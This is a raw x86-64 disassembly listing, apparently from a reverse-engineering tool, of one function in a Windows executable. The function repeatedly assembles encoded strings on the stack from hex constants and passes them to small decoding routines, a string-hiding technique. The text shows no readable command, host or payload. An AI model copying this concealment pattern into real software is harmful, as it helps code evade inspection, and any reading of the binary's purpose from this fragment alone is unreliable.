lea rdx, [rbp - 0x28]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xdc0]
call fcn.1400588c0
test bl, bl
je 0x140053eef
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x39b], xmm0
mov byte [rbp + 0x3ab], 1
lea rcx, [rbp + 0x39b]
call fcn.140055250
lea rcx, [rbp + 0x9c0]
call fcn.140080330
nop
lea rcx, [rbp + 0x9c0]
call fcn.1400566e0
mov rbx, rax
movdqa xmm0, xmmword [0x1400e7020]
movdqu xmmword [rbp + 0x4a4], xmm0
movdqa xmm1, xmmword [0x1400e73e0]
movdqu xmmword [rbp + 0x4b4], xmm1
movdqa xmm0, xmmword [0x1400e6df0]
movdqu xmmword [rbp + 0x4c4], xmm0
movdqa xmm1, xmmword [0x1400e7580]
movdqu xmmword [rbp + 0x4d4], xmm1
movdqa xmm0, xmmword [0x1400e76f0]
movdqu xmmword [rbp + 0x4e4], xmm0
movdqa xmm1, xmmword [0x1400e75f0]
movdqu xmmword [rbp + 0x4f4], xmm1
movdqa xmm0, xmmword [0x1400e7530]
movdqu xmmword [rbp + 0x504], xmm0
movdqa xmm1, xmmword [0x1400e7570]
movdqu xmmword [rbp + 0x514], xmm1
movdqa xmm0, xmmword [0x1400e76d0]
movdqu xmmword [rbp + 0x524], xmm0
mov dword [rbp + 0x534], 0x80cd8687
mov dword [rbp + 0x538], 0x868f818d
mov word [rbp + 0x53c], pe_nt_image_headers64
lea rcx, [rbp + 0x4a4]
call fcn.140055220
mov r8, rbx
lea rdx, [rbp + 0x4a4]
lea rcx, [rbp + 0xde0]
call fcn.1400458a0
nop
mov rcx, rax
call fcn.1400566e0
mov r9d, select
lea r8, [rbp + 0x39b]
mov rdx, rax
lea rcx, [0x1401d0dc0]
call fcn.140088500
nop
lea rcx, [rbp + 0xde0]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x9c0]
call fcn.1400588c0
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
movdqa xmm0, xmmword [str.___f6974353__8:]
movdqu xmmword [rbp + 0x3ac], xmm0
mov byte [rbp + 0x3bc], 1
lea rcx, [rbp + 0x3ac]
call fcn.140055250
lea rax, [rbp + 0xe00]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xe00]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0xe20]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0xbd], 0x30333d32
mov dword [rbp + 0xc1], 0x243f393f
mov dword [rbp + 0xc5], 0x3e3c2c
mov byte [rbp + 0xc9], 1
lea rcx, [rbp + 0xbd]
call fcn.1400552b0
lea rdx, [rbp + 0xbd]
lea rcx, [rbp + 0xe20]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xe40]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xe60]
call fcn.1400521a0
lea rdx, [rbp + 0x3ac]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xe60]
call fcn.1400588c0
test bl, bl
jne 0x1400540de
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x3bd], xmm0
mov byte [rbp + 0x3cd], 1
lea rcx, [rbp + 0x3bd]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e7180]
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x210], 0x100b0d0b
mov dword [rbp + 0x214], 0x49020010
mov word [rbp + 0x218], pe_nt_image_headers64
lea rcx, [rbp + 0x200]
call fcn.1400551f0
xor r9d, r9d
lea r8, [rbp + 0x3bd]
lea rdx, [rbp + 0x200]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp + 0xca], 0xc263e3e
mov dword [rbp + 0xce], 0x3e262d31
mov dword [rbp + 0xd2], 0x3e3c2a
mov byte [rbp + 0xd6], 1
lea rcx, [rbp + 0xca]
call fcn.1400552b0
lea rax, [rbp + 0xe80]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xe80]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0xea0]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0x2e], 0x3a222935
mov dword [rbp + 0x32], 0x323026
mov byte [rbp + 0x36], 1
lea rcx, [rbp + 0x2e]
call fcn.140055530
lea rdx, [rbp + 0x2e]
lea rcx, [rbp + 0xea0]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xec0]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xee0]
call fcn.1400521a0
lea rdx, [rbp + 0xca]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xee0]
call fcn.1400588c0
test bl, bl
jne 0x1400542bf
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x3ce], xmm0
mov byte [rbp + 0x3de], 1
lea rcx, [rbp + 0x3ce]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e7060]
movdqu xmmword [rbp + 0x280], xmm0
mov dword [rbp + 0x290], 0x7071309
mov word [rbp + 0x294], 0x4a
mov byte [rbp + 0x296], 1
lea rcx, [rbp + 0x280]
call fcn.1400551c0
xor r9d, r9d
lea r8, [rbp + 0x3ce]
lea rdx, [rbp + 0x280]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp + 0x81], 0xc263e3e
mov dword [rbp + 0x85], 0x24233424
mov dword [rbp + 0x89], 0x1003d3d
lea rcx, [rbp + 0x81]
call fcn.1400554d0
lea rax, [rbp + 0xf00]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xf00]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x58], rax
mov dword [rbp - 0x20], 0x20273020
mov dword [rbp - 0x1c], 0x1003131
lea rcx, [rbp - 0x20]
call fcn.140055310
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xf20]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xf40]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf60]
call fcn.1400521a0
lea rdx, [rbp + 0x81]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xf60]
call fcn.1400588c0
test bl, bl
jne 0x140054498
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x3df], xmm0
mov byte [rbp + 0x3ef], 1
lea rcx, [rbp + 0x3df]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e7180]
movdqu xmmword [rbp + 0x21a], xmm0
mov dword [rbp + 0x22a], 0x100b0d0b
mov dword [rbp + 0x22e], 0x49020010
mov word [rbp + 0x232], pe_nt_image_headers64
lea rcx, [rbp + 0x21a]
call fcn.1400551f0
xor r9d, r9d
lea r8, [rbp + 0x3df]
lea rdx, [rbp + 0x21a]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp + 0x37], 0x32243f39
mov dword [rbp + 0x3b], 0x323c38
mov byte [rbp + 0x3f], 1
lea rcx, [rbp + 0x37]
call fcn.140055530
lea rax, [rbp + 0xf80]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xf80]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0xd7], 0x20302423
mov dword [rbp + 0xdb], 0x273f2737
mov dword [rbp + 0xdf], 0x3535302c
mov word [rbp + 0xe3], pe_nt_image_headers64
lea rcx, [rbp + 0xd7]
call fcn.140055190
lea rdx, [rbp + 0xd7]
lea rcx, [rbp + 0xfa0]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xfc0]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.1400521a0
lea rdx, [rbp + 0x37]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xfe0]
call fcn.1400588c0
test bl, bl
je 0x14005468f
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x368], xmm0
mov byte [rbp + 0x378], 1
lea rcx, [rbp + 0x368]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e70a0]
movdqu xmmword [rbp + 0x180], xmm0
mov dword [rbp + 0x190], 0x100b410e
mov dword [rbp + 0x194], 0x11080c44
mov dword [rbp + 0x198], 0xf030509
mov word [rbp + 0x19c], 0x42
mov byte [rbp + 0x19e], 1
lea rcx, [rbp + 0x180]
call fcn.140055160
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x180]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp + 0x40], 0x30312423
mov dword [rbp + 0x44], 0x252631
mov byte [rbp + 0x48], 1
lea rcx, [rbp + 0x40]
call fcn.140055530
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x1000]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x58], rax
mov dword [rbp - 0x18], 0x36313231
mov dword [rbp - 0x14], 0x1002627
lea rcx, [rbp - 0x18]
call fcn.140055310
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x1020]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1040]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1060]
call fcn.1400521a0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0x1060]
call fcn.1400588c0
test bl, bl
je 0x140054b27
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x1080]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0x10a0]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0xf3], 0x30213834
mov dword [rbp + 0xf7], 0x832273b
mov dword [rbp + 0xfb], 0x2f3b2f39
mov dword [rbp + 0xff], 0x1002f3d
lea rcx, [rbp + 0xf3]
call fcn.140054e50
mov rdx, rax
lea rcx, [rbp + 0x10a0]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x10c0]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x940]
call fcn.1400521a0
nop
lea rax, [rbp + 0x10e0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x10e0]
call fcn.140056980
mov rdi, rax
lea rax, [rbp + 0x1100]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0xe5], 0x20302423
mov dword [rbp + 0xe9], 0x273f2737
mov dword [rbp + 0xed], 0x3535302c
mov word [rbp + 0xf1], pe_nt_image_headers64
lea rcx, [rbp + 0xe5]
call fcn.140054e20
mov rdx, rax
lea rcx, [rbp + 0x1100]
call fcn.140056940
mov rbx, rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1120]
call fcn.140056980
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9e0]
call fcn.1400521a0
nop
lea rcx, [rbp + 0x108]
call fcn.1400566f0
lea rax, [rbp + 0x1140]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x1140]
call fcn.140056980
mov r12, rax
lea rax, [rbp + 0x1160]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x1160]
call fcn.140056980
mov r15, rax
lea rax, [rbp + 0x12a0]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x12a0]
call fcn.140056980
mov r14, rax
lea rax, [rbp + 0x11e0]
mov qword [rbp + 0x330], rax
lea rax, [rbp + 0x11a0]
mov qword [rbp + 0x2d8], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x11a0]
call fcn.140056980
mov rdi, rax
lea rcx, [rbp + 0x1280]
call fcn.1400514f0
mov rbx, rax
movdqa xmm0, xmmword [str.386:5_n_2342lk]
movdqu xmmword [rbp + 0x493], xmm0
mov byte [rbp + 0x4a3], 1
lea rcx, [rbp + 0x493]
call fcn.140054df0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x11c0]
call fcn.140059b20
nop
mov r9, rdi
mov r8, rax
lea rdx, [rbp + 0x11e0]
lea rcx, [0x1401ccb48]
call fcn.140045370
mov rsi, rax
lea rax, [rbp + 0x590]
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x6c], 0x18110416
mov dword [rbp + 0x70], 0x2190c74
mov word [rbp + 0x74], pe_nt_image_headers64
lea rcx, [rbp + 0x6c]
call fcn.1400553d0
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x1200]
call fcn.140056940
mov r8, rax
lea rdx, [rbp + 0x1260]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
nop
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.14005a9c0
mov rdi, rax
lea rax, [rbp + 0x1220]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1e8]
lea rcx, [rbp + 0x1220]
call fcn.140056940
mov rbx, rax
mov rdx, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x1240]
call fcn.140056940
nop
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x20], 1
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, r13
call fcn.140080ed0
nop
lea rcx, [rbp + 0x1260]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x1280]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x9e0]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x940]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
lea rcx, [rbp + 0x128]
call fcn.140001ad0
nop
lea rcx, [rbp + 0x2b8]
call fcn.140056770
nop
lea rcx, [rsp + 0x60]
call fcn.140056330
nop
lea rcx, [rbp + 0x2e0]
call fcn.140056770
nop
lea rcx, [rbp + 0xa00]
call fcn.140054eb0
nop
lea rcx, [rbp + 0x298]
call fcn.140056770
nop
lea rcx, [rbp + 0x300]
call fcn.140056770
jmp 0x140054d1e
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x482], xmm0
mov byte [rbp + 0x492], 1
lea rcx, [rbp + 0x482]
call fcn.140054df0
mov rbx, rax
movdqa xmm0, xmmword [0x1400e74a0]
movdqu xmmword [rbp + 0x234], xmm0
mov dword [rbp + 0x244], 0x431b1314
mov dword [rbp + 0x248], 0xe070205
mov dword [rbp + 0x24c], 0x1004706
lea rcx, [rbp + 0x234]
call fcn.140054e80
mov r9d, 5
mov r8, rbx
mov rdx, rax
lea rcx, [0x1401d0dc0]
call fcn.140088500
lea rcx, [rbp + 0x108]
call fcn.1400566f0
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.140056770
nop
lea rcx, [rbp + 0x108]
call fcn.140056770
nop
lea rcx, [rsp + 0x70]
call fcn.140056330
nop
lea rcx, [rbp + 0x128]
call fcn.140056770
jmp 0x140054ad7
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x379], xmm0
mov byte [rbp + 0x389], 1
lea rcx, [rbp + 0x379]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e6ff0]
movdqu xmmword [rbp + 0x439], xmm0
movdqa xmm1, xmmword [0x1400e6ef0]
movdqu xmmword [rbp + 0x449], xmm1
movdqa xmm0, xmmword [0x1400e6e10]
movdqu xmmword [rbp + 0x459], xmm0
movdqa xmm1, xmmword [0x1400e7660]
movdqu xmmword [rbp + 0x469], xmm1
mov dword [rbp + 0x479], 0xe0f7e3b0
mov dword [rbp + 0x47d], 0xb8e1f1
mov byte [rbp + 0x481], 1
lea rcx, [rbp + 0x439]
call fcn.140055280
mov r9d, 5
lea r8, [rbp + 0x379]
lea rdx, [rbp + 0x439]
lea rcx, [0x1401d0dc0]
call fcn.140088500
lea rcx, [rsp + 0x60]
call fcn.140055ce0
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400588c0
nop
lea rcx, [rbp + 0xa00]
call fcn.140054eb0
nop
lea rcx, [rbp + 0x298]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x300]
call fcn.1400588c0
mov rax, r13
mov rbx, qword [rsp + 0x19c20]
add rsp, 0x19be0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret